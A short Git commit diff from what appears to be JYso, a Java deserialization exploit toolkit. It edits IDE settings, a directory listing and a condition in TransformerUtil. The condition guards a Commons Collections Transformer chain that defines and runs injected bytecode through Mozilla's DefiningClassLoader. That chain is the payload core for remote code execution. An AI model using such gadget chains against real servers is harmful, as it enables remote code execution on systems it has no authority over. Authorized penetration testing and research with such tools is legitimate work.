This commit is contained in:
qi4L
2024-09-09 22:32:17 +08:00
parent 99a640249f
commit 54e5de4b0a
6 changed files with 1 additions and 3 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
-1
View File
@@ -6,7 +6,6 @@
<sourceOutputDir name="target/generated-sources/annotations" />
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
<outputRelativeToContentRoot value="true" />
<module name="JYso" />
<module name="JNDIExploit-master" />
</profile>
</annotationProcessing>
-1
View File
@@ -1,4 +1,3 @@
C:.
├─.gradle Gradle构建配置文件
│ ├─8.7
│ │ ├─checksums
@@ -59,7 +59,7 @@ public class TransformerUtil {
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
if (USING_MOZILLA_DEFININGCLASSLOADER) {
if (!USING_MOZILLA_DEFININGCLASSLOADER) {
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
// 在 NC 中可以使用
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};